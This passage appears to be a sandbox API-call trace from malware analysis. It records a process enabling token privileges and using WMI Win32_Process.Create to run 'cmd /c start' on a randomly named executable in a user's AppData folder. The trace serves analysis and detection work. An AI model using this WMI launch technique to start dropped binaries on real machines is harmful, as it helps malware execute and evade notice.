This=0x324ce8, wszName="ParaId", lFlags=0, pVal=0xeef58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2c9134, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeef58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ProcessId", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.143] IWbemClassObject:Get (in: This=0x324ce8, wszName="Type", lFlags=0, pVal=0xeeef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2ea484, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeeef0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="UINT32", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.143] IWbemClassObject:Get (in: This=0x324ce8, wszName="Default", lFlags=0, pVal=0xeef10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeef10*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.143] GetCurrentThreadId () returned 0x134 [0155.143] ??0CHString@@QAE@XZ () returned 0xeee44 [0155.143] IWbemClassObject:Get (in: This=0x324ce8, wszName="Qualifiers", lFlags=0, pVal=0xeedcc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeedcc*(varType=0x200d, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2f2240*(cDims=0x1, fFeatures=0x240, cbElements=0x4, cLocks=0x0, pvData=0x2e5d98, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.143] SafeArrayGetLBound (in: psa=0x2f2240, nDim=0x1, plLbound=0xeedfc | out: plLbound=0xeedfc) returned 0x0 [0155.143] SafeArrayGetUBound (in: psa=0x2f2240, nDim=0x1, plUbound=0xeee10 | out: plUbound=0xeee10) returned 0x0 [0155.143] SafeArrayGetElement (in: psa=0x2f2240, rgIndices=0xeee1c, pv=0xeee3c | out: pv=0xeee3c) returned 0x0 [0155.143] IWbemClassObject:Get (in: This=0x324fa0, wszName="Name", lFlags=0, pVal=0xeede4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeede4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Out", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.143] IWbemClassObject:Get (in: This=0x324fa0, wszName="QualifierValue", lFlags=0, pVal=0xeedbc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xeedbc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2f1f70*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x2e5e98, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0155.143] SafeArrayGetLBound (in: psa=0x2f1f70, nDim=0x1, plLbound=0xeee00 | out: plLbound=0xeee00) returned 0x0 [0155.143] SafeArrayGetUBound (in: psa=0x2f1f70, nDim=0x1, plUbound=0xeede0 | out: plUbound=0xeede0) returned 0x0 [0155.143] lstrlenW (lpString="CIMTYPE") returned 7 [0155.143] lstrlenW (lpString="Out") returned 3 [0155.143] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Out", cchCount1=3, lpString2="CIMTYPE", cchCount2=7) returned 3 [0155.143] lstrlenW (lpString="read") returned 4 [0155.143] lstrlenW (lpString="Out") returned 3 [0155.143] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Out", cchCount1=3, lpString2="read", cchCount2=4) returned 1 [0155.143] lstrlenW (lpString="write") returned 5 [0155.143] lstrlenW (lpString="Out") returned 3 [0155.143] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Out", cchCount1=3, lpString2="write", cchCount2=5) returned 1 [0155.143] lstrlenW (lpString="In") returned 2 [0155.143] lstrlenW (lpString="Out") returned 3 [0155.143] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Out", cchCount1=3, lpString2="In", cchCount2=2) returned 3 [0155.143] lstrlenW (lpString="Out") returned 3 [0155.143] lstrlenW (lpString="Out") returned 3 [0155.143] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Out", cchCount1=3, lpString2="Out", cchCount2=3) returned 2 [0155.143] SafeArrayGetElement (in: psa=0x2f1f70, rgIndices=0xeee28, pv=0xeee30 | out: pv=0xeee30) returned 0x0 [0155.143] lstrlenW (lpString="true") returned 4 [0155.143] lstrlenW (lpString="True") returned 4 [0155.143] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="True", cchCount1=4, lpString2="true", cchCount2=4) returned 2 [0155.143] IUnknown:Release (This=0x324fa0) returned 0x1 [0155.144] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.144] SysStringLen (param_1="ProcessId") returned 0x9 [0155.144] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0155.144] SysStringLen (param_1="ProcessId") returned 0x9 [0155.144] SysStringLen (param_1="ProcessStartupInformation") returned 0x19 [0155.144] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0155.144] SysStringLen (param_1="ProcessId") returned 0x9 [0155.144] IUnknown:Release (This=0x324ce8) returned 0x1 [0155.144] IUnknown:Release (This=0x31a640) returned 0x1 [0155.144] IUnknown:Release (This=0x316c90) returned 0x0 [0155.145] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.145] lstrlenW (lpString="Create") returned 6 [0155.145] lstrlenW (lpString="Create") returned 6 [0155.145] lstrlenW (lpString="/") returned 1 [0155.145] lstrlenW (lpString="cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned 71 [0155.145] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", cchCount1=71, lpString2="/", cchCount2=1) returned 3 [0155.145] lstrlenW (lpString="-") returned 1 [0155.145] lstrlenW (lpString="cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned 71 [0155.145] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", cchCount1=71, lpString2="-", cchCount2=1) returned 3 [0155.145] lstrlenW (lpString="cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned 71 [0155.145] lstrlenW (lpString="cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned 71 [0155.145] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0155.145] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0155.145] wcstok (in: _String="Select * from Win32_Process", _Delimiter=" ", _Context=0x3e8c0eaf | out: _String="Select", _Context=0x3e8c0eaf) returned="Select" [0155.145] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3e8c0eaf | out: _String=0x0, _Context=0x3e8c0eaf) returned="*" [0155.146] lstrlenW (lpString="FROM") returned 4 [0155.146] lstrlenW (lpString="*") returned 1 [0155.146] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0155.146] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3e8c0eaf | out: _String=0x0, _Context=0x3e8c0eaf) returned="from" [0155.146] lstrlenW (lpString="FROM") returned 4 [0155.146] lstrlenW (lpString="from") returned 4 [0155.146] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0155.146] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3e8c0eaf | out: _String=0x0, _Context=0x3e8c0eaf) returned="Win32_Process" [0155.146] lstrlenW (lpString="SET") returned 3 [0155.146] lstrlenW (lpString="call") returned 4 [0155.146] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="SET", cchCount2=3) returned 1 [0155.146] lstrlenW (lpString="CREATE") returned 6 [0155.146] lstrlenW (lpString="call") returned 4 [0155.146] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="CREATE", cchCount2=6) returned 1 [0155.146] lstrlenW (lpString="GET") returned 3 [0155.146] lstrlenW (lpString="call") returned 4 [0155.146] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="GET", cchCount2=3) returned 1 [0155.146] lstrlenW (lpString="LIST") returned 4 [0155.146] lstrlenW (lpString="call") returned 4 [0155.146] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="LIST", cchCount2=4) returned 1 [0155.146] lstrlenW (lpString="ASSOC") returned 5 [0155.146] lstrlenW (lpString="call") returned 4 [0155.146] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="ASSOC", cchCount2=5) returned 3 [0155.146] WbemLocator:IUnknown:AddRef (This=0x2c5c98) returned 0x3 [0155.146] lstrlenW (lpString="") returned 0 [0155.146] lstrlenW (lpString="LHNIWSJ") returned 7 [0155.146] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LHNIWSJ", cchCount1=7, lpString2="", cchCount2=0) returned 3 [0155.146] lstrlenW (lpString="LHNIWSJ") returned 7 [0155.146] lstrlenW (lpString="LHNIWSJ") returned 7 [0155.146] GetCurrentThreadId () returned 0x134 [0155.146] GetCurrentProcess () returned 0xffffffff [0155.146] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0xef914 | out: TokenHandle=0xef914*=0x288) returned 1 [0155.146] GetTokenInformation (in: TokenHandle=0x288, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xef910 | out: TokenInformation=0x0, ReturnLength=0xef910) returned 0 [0155.146] GetTokenInformation (in: TokenHandle=0x288, TokenInformationClass=0x3, TokenInformation=0x449930, TokenInformationLength=0x118, ReturnLength=0xef910 | out: TokenInformation=0x449930, ReturnLength=0xef910) returned 1 [0155.146] AdjustTokenPrivileges (in: TokenHandle=0x288, DisableAllPrivileges=0, NewState=0x449930*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0155.146] CloseHandle (hObject=0x288) returned 1 [0155.146] lstrlenW (lpString="GET") returned 3 [0155.146] lstrlenW (lpString="call") returned 4 [0155.146] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="GET", cchCount2=3) returned 1 [0155.146] lstrlenW (lpString="LIST") returned 4 [0155.147] lstrlenW (lpString="call") returned 4 [0155.147] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="LIST", cchCount2=4) returned 1 [0155.147] lstrlenW (lpString="SET") returned 3 [0155.147] lstrlenW (lpString="call") returned 4 [0155.147] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="SET", cchCount2=3) returned 1 [0155.147] lstrlenW (lpString="CALL") returned 4 [0155.147] lstrlenW (lpString="call") returned 4 [0155.147] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="call", cchCount1=4, lpString2="CALL", cchCount2=4) returned 2 [0155.147] ??0CHString@@QAE@XZ () returned 0xef8d4 [0155.147] GetCurrentThreadId () returned 0x134 [0155.147] SysStringLen (param_1="\\\\") returned 0x2 [0155.147] SysStringLen (param_1="LHNIWSJ") returned 0x7 [0155.147] SysStringLen (param_1="\\\\LHNIWSJ") returned 0x9 [0155.147] SysStringLen (param_1="\\") returned 0x1 [0155.147] SysStringLen (param_1="\\\\LHNIWSJ\\") returned 0xa [0155.147] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0155.148] WbemLocator:IWbemLocator:ConnectServer (in: This=0x2c5c98, strNetworkResource="\\\\LHNIWSJ\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xcc9564 | out: ppNamespace=0xcc9564*=0x2e3578) returned 0x0 [0155.153] CoSetProxyBlanket (pProxy=0x2e3578, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0155.153] ??1CHString@@QAE@XZ () returned 0x73336430 [0155.153] ??0CHString@@QAE@XZ () returned 0xef8d0 [0155.153] GetCurrentThreadId () returned 0x134 [0155.153] lstrlenA (lpString="") returned 0 [0155.153] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc82b44, cbMultiByte=-1, lpWideCharStr=0x44a4a0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0155.154] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0155.154] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0155.154] wcstok (in: _String="Select * from Win32_Process", _Delimiter=" ", _Context=0x3e8c0003 | out: _String="Select", _Context=0x3e8c0003) returned="Select" [0155.154] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3e8c0003 | out: _String=0x0, _Context=0x3e8c0003) returned="*" [0155.154] lstrlenW (lpString="FROM") returned 4 [0155.154] lstrlenW (lpString="*") returned 1 [0155.154] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0155.154] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3e8c0003 | out: _String=0x0, _Context=0x3e8c0003) returned="from" [0155.154] lstrlenW (lpString="FROM") returned 4 [0155.154] lstrlenW (lpString="from") returned 4 [0155.154] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0155.154] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3e8c0003 | out: _String=0x0, _Context=0x3e8c0003) returned="Win32_Process" [0155.154] IWbemServices:GetObject (in: This=0x2e3578, strObjectPath="Win32_Process", lFlags=131072, pCtx=0x0, ppObject=0xef8a8*=0x0, ppCallResult=0x0 | out: ppObject=0xef8a8*=0x325440, ppCallResult=0x0) returned 0x0 [0155.191] IWbemClassObject:GetMethod (in: This=0x325440, wszName="Create", lFlags=0, ppInSignature=0xef8b4, ppOutSignature=0xef8a0 | out: ppInSignature=0xef8b4*=0x325638, ppOutSignature=0xef8a0*=0x325db0) returned 0x0 [0155.191] IWbemClassObject:SpawnInstance (in: This=0x325638, lFlags=0, ppNewInstance=0xef8c0 | out: ppNewInstance=0xef8c0*=0x318da0) returned 0x0 [0155.192] IWbemClassObject:GetNames (in: This=0x325638, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x0, pNames=0xef8c4 | out: pNames=0xef8c4*="\x01ƀ\x04") returned 0x0 [0155.192] SafeArrayGetLBound (in: psa=0x2f21b0, nDim=0x1, plLbound=0xef870 | out: plLbound=0xef870) returned 0x0 [0155.192] SafeArrayGetUBound (in: psa=0x2f21b0, nDim=0x1, plUbound=0xef8b8 | out: plUbound=0xef8b8) returned 0x0 [0155.192] SafeArrayGetElement (in: psa=0x2f21b0, rgIndices=0xef8ac, pv=0xef8d4 | out: pv=0xef8d4) returned 0x0 [0155.192] IWbemClassObject:GetPropertyQualifierSet (in: This=0x318da0, wszProperty="CommandLine", ppQualSet=0xef794 | out: ppQualSet=0xef794*=0x2f0528) returned 0x0 [0155.192] IWbemQualifierSet:Get (in: This=0x2f0528, wszName="CIMTYPE", lFlags=0, pVal=0xef764*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), plFlavor=0x0 | out: pVal=0xef764*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="string", varVal2=0x0), plFlavor=0x0) returned 0x0 [0155.192] IWbemClassObject:Get (in: This=0x318da0, wszName="CommandLine", lFlags=0, pVal=0xef73c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0xef778*=980832, plFlavor=0x0 | out: pVal=0xef73c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0xef778*=8, plFlavor=0x0) returned 0x0 [0155.192] IWbemQualifierSet:Get (in: This=0x2f0528, wszName="read", lFlags=0, pVal=0xef77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), plFlavor=0x0 | out: pVal=0xef77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), plFlavor=0x0) returned 0x80041002 [0155.192] IWbemQualifierSet:Get (in: This=0x2f0528, wszName="write", lFlags=0, pVal=0xef77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), plFlavor=0x0 | out: pVal=0xef77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), plFlavor=0x0) returned 0x80041002 [0155.192] IWbemQualifierSet:Get (in: This=0x2f0528, wszName="Description", lFlags=0, pVal=0xef754*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), plFlavor=0x0 | out: pVal=0xef754*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), plFlavor=0x0) returned 0x80041002 [0155.192] lstrlenA (lpString="Not Available") returned 13 [0155.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc81d64, cbMultiByte=-1, lpWideCharStr=0x449930, cchWideChar=14 | out: lpWideCharStr="Not Available") returned 14 [0155.192] IUnknown:Release (This=0x2f0528) returned 0x0 [0155.193] lstrlenW (lpString="CommandLine") returned 11 [0155.193] lstrlenW (lpString="CommandLine") returned 11 [0155.193] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CommandLine", cchCount1=11, lpString2="CommandLine", cchCount2=11) returned 2 [0155.193] SysStringLen (param_1="In") returned 0x2 [0155.193] SysStringLen (param_1="MaxLen") returned 0x6 [0155.193] lstrlenW (lpString="") returned 0 [0155.193] lstrlenW (lpString="STRING") returned 6 [0155.193] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="STRING", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0155.193] lstrlenW (lpString="string") returned 6 [0155.193] lstrlenW (lpString="STRING") returned 6 [0155.193] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="STRING", cchCount1=6, lpString2="string", cchCount2=6) returned 2 [0155.193] SysStringLen (param_1="In") returned 0x2 [0155.193] SysStringLen (param_1="ValueMap") returned 0x8 [0155.193] SysStringLen (param_1="In") returned 0x2 [0155.193] SysStringLen (param_1="Values") returned 0x6 [0155.193] IWbemClassObject:GetPropertyQualifierSet (in: This=0x318da0, wszProperty="CommandLine", ppQualSet=0xef79c | out: ppQualSet=0xef79c*=0x2f0528) returned 0x0 [0155.193] IWbemQualifierSet:Get (in: This=0x2f0528, wszName="CIMTYPE", lFlags=0, pVal=0xef780*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), plFlavor=0x0 | out: pVal=0xef780*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="string", varVal2=0x0), plFlavor=0x0) returned 0x0 [0155.193] IWbemClassObject:Get (in: This=0x318da0, wszName="CommandLine", lFlags=0, pVal=0xef770*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0xef790*=980240, plFlavor=0x0 | out: pVal=0xef770*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0xef790*=8, plFlavor=0x0) returned 0x0 [0155.193] IUnknown:Release (This=0x2f0528) returned 0x0 [0155.194] lstrlenW (lpString="string") returned 6 [0155.194] lstrlenW (lpString="string") returned 6 [0155.194] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="string", cchCount1=6, lpString2="string", cchCount2=6) returned 2 [0155.194] IWbemClassObject:Put (This=0x318da0, wszName="CommandLine", lFlags=0, pVal=0xef834*(varType=0x8, wReserved1=0x0, wReserved2=0x70, wReserved3=0x0, varVal1="cmd /c start C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", varVal2=0xebb1243a), Type=0) returned 0x0 [0155.194] IUnknown:Release (This=0x325638) returned 0x0 [0155.194] IUnknown:Release (This=0x325db0) returned 0x0 [0155.194] IUnknown:Release (This=0x325440) returned 0x0 [0155.195] ??0CHString@@QAE@XZ () returned 0xef780 [0155.195] GetCurrentThreadId () returned 0x134 [0155.195] lstrlenA (lpString="") returned 0 [0155.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc82b44, cbMultiByte=-1, lpWideCharStr=0x44a450, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0155.195] lstrlenA (lpString="") returned 0 [0155.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc82b44, cbMultiByte=-1, lpWideCharStr=0x44a430, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0155.195] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0155.195] lstrlenW (lpString="Select * from Win32_Process") returned 27 [0155.195] wcstok (in: _String="Select * from Win32_Process", _Delimiter=" ", _Context=0x3e8c008b | out: _String="Select", _Context=0x3e8c008b) returned="Select" [0155.195] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3e8c008b | out: _String=0x0, _Context=0x3e8c008b) returned="*" [0155.195] lstrlenW (lpString="FROM") returned 4 [0155.195] lstrlenW (lpString="*") returned 1 [0155.195] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0155.195] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3e8c008b | out: _String=0x0, _Context=0x3e8c008b) returned="from" [0155.195] lstrlenW (lpString="FROM") returned 4 [0155.195] lstrlenW (lpString="from") returned 4 [0155.195] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0155.195] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x3e8c008b | out: _String=0x0, _Context=0x3e8c008b) returned="Win32_Process" [0155.195] ??0CHString@@QAE@XZ () returned 0xef6fc [0155.195] GetCurrentThreadId () returned 0x134 [0155.195] LoadStringW (in: hInstance=0x0, uID=0xb7ea, lpBuffer=0xee6ac, cchBufferMax=1024 | out: lpBuffer="Executing (%1)->%2()\r\n") returned 0x16 [0155.196] FormatMessageW (in: dwFlags=0x2500, lpSource=0xee6ac, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0xee694, nSize=0x0, Arguments=0xee698 | out: lpBuffer="呀2ꐌ.贘D꫎璟䅀.䀘2Executing (%1)->%2()\r\n") returned 0x25 [0155.196] LocalFree (hMem=0x325440) returned 0x0 [0155.196] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Executing (Win32_Process)->Create()\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0155.196] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Executing (Win32_Process)->Create()\r\n", cchWideChar=-1, lpMultiByteStr=0x44aba0, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Executing (Win32_Process)->Create()\r\n", lpUsedDefaultChar=0x0) returned 38 [0155.196] ??YCHString@@QAEABV0@PBG@Z () returned 0xcc95ec [0155.196] __iob_func () returned 0x77451208 [0155.196] fprintf (in: _File=0x77451228, _Format="%s" | out: _File=0x77451228) returned 37 [0155.197] __iob_func () returned 0x77451208 [0155.197] fflush (in: _File=0x77451228 | out: _File=0x77451228) returned 0 [0155.198] IWbemServices:ExecMethod (in: This=0x2e3578, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x318da0, ppOutParams=0xef70c*=0x0, ppCallResult=0x0 | out: ppOutParams=0xef70c*=0x325880, ppCallResult=0x0) returned 0x0 [0155.412] LoadStringW (in: hInstance=0x0, uID=0xb3b3, lpBuffer=0x44bd50, cchBufferMax=1024 | out: lpBuffer="Method execution successful.\r\n") returned 0x1e [0155.413] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Method execution successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0155.413] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Method execution successful.\r\n", cchWideChar=-1, lpMultiByteStr=0x449990, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Method execution successful.\r\n", lpUsedDefaultChar=0x0) returned 31 [0155.413] ??YCHString@@QAEABV0@PBG@Z () returned 0xcc95ec [0155.413] __iob_func () returned 0x77451208 [0155.413] fprintf (in: _File=0x77451228, _Format="%s" | out: _File=0x77451228) returned 30 [0155.444] __iob_func () returned 0x77451208 [0155.444] fflush (in: _File=0x77451228 | out: _File=0x77451228) returned 0 [0155.444] IUnknown:AddRef (This=0x325880) returned 0x2 [0155.444] ??0CHString@@QAE@XZ () returned 0xeeea0 [0155.444] GetCurrentThreadId () returned 0x134 [0155.445] IWbemClassObject:GetObjectText (in: This=0x325880, lFlags=0, pstrObjectText=0xeeea8 | out: pstrObjectText=0xeeea8*="\ninstance of __PARAMETERS\n{\n\x09ProcessId = 752;\n\x09ReturnValue = 0;\n};\n") returned 0x0 [0155.446] LoadStringW (in: hInstance=0x0, uID=0xb7f7, lpBuffer=0x44bd50, cchBufferMax=1024 | out: lpBuffer="Out Parameters:") returned 0xf [0155.447] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Out Parameters:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0155.447] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="Out Parameters:", cchWideChar=-1, lpMultiByteStr=0x448f70, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Out Parameters:", lpUsedDefaultChar=0x0) returned 16 [0155.447] ??YCHString@@QAEABV0@PBG@Z () returned 0xcc95ec [0155.447] __iob_func () returned 0x77451208 [0155.447] fprintf (in: _File=0x77451228, 